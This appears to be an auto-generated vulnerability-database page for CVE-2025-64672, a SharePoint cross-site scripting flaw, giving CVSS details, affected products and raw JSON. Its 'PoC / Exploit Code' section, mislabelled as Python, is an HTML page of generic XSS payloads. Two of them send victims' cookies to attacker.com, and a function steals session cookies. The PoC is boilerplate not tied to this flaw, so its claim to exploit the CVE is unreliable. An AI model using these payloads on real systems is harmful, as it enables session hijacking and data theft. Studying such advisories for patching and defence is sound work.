Security Vulnerability Report
中文
CVE-2025-64672 CVSS 8.8 HIGH

CVE-2025-64672

Published: 2025-12-09 18:16:07
Last Modified: 2025-12-12 13:47:01

Description

Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:* - VULNERABLE
Microsoft Office SharePoint Enterprise Server 2016
Microsoft Office SharePoint Server 2019
Microsoft 365 Apps for Enterprise
SharePoint Foundation 2013
SharePoint Server Subscription Edition

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-64672 PoC - SharePoint XSS --> <!-- This PoC demonstrates the XSS vulnerability in Microsoft Office SharePoint --> <!-- Note: This code is for educational and security testing purposes only --> <!DOCTYPE html> <html> <head> <title>CVE-2025-64672 SharePoint XSS PoC</title> </head> <body> <h1>CVE-2025-64672 SharePoint XSS Vulnerability PoC</h1> <h2>Malicious Payload for SharePoint</h2> <!-- Basic XSS Payload - Script Injection --> <p>Basic Script Injection:</p> <code>&lt;script&gt;alert('XSS - CVE-2025-64672')&lt;/script&gt;</code> <!-- Event Handler Based XSS --> <p>Event Handler Payload:</p> <code>&lt;img src=x onerror="alert(document.cookie)"&gt;</code> <!-- JavaScript URI Scheme --> <p>JavaScript URI Payload:</p> <code>&lt;a href="javascript:alert('XSS')"&gt;Click Me&lt;/a&gt;</code> <!-- Stored XSS Payload for SharePoint Lists --> <p>Stored XSS Payload (for SharePoint List Fields):</p> <code>&lt;script&gt;fetch('https://attacker.com/steal?cookie='+document.cookie)&lt;/script&gt;</code> <h2>Attack Scenario</h2> <ol> <li>Attacker with low-privilege SharePoint account creates/edits content</li> <li>Attacker injects malicious JavaScript into SharePoint field (e.g., Title, Description)</li> <li>When victim views the content, JavaScript executes in their browser context</li> <li>Attacker steals session cookies, performs actions as victim, or exfiltrates data</li> </ol> <h2>Exploitation Example</h2> <script> // Cookie Stealing Payload function exploitSharePoint() { // Steal authentication cookies var cookies = document.cookie; var payload = 'https://attacker.com/log?data=' + encodeURIComponent(cookies); // Send stolen data to attacker fetch(payload).then(function(response) { console.log('Exfiltration successful'); }).catch(function(error) { console.log('Exfiltration failed:', error); }); // Display alert for demonstration alert('CVE-2025-64672 - XSS Exploited!\nCookies: ' + cookies); } // Run on page load // exploitSharePoint(); </script> <h2>Remediation</h2> <ul> <li>Apply Microsoft security patches for CVE-2025-64672</li> <li>Implement input validation and output encoding</li> <li>Enable Content Security Policy (CSP) headers</li> <li>Use Microsoft AntiXSS library for .NET applications</li> </ul> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-64672", "sourceIdentifier": "[email protected]", "published": "2025-12-09T18:16:06.580", "lastModified": "2025-12-12T13:47:01.200", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper neutralization of input during web page generation ('cross-site scripting') in Microsoft Office SharePoint allows an authorized attacker to perform spoofing over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H", "baseScore": 9.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.3, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:*:*:*:*:subscription:*:*:*", "versionEndExcluding": "16.0.19127.20378", "matchCriteriaId": "C8DF754B-3BDF-4877-92CE-4B0FC9689C6D"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-64672", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}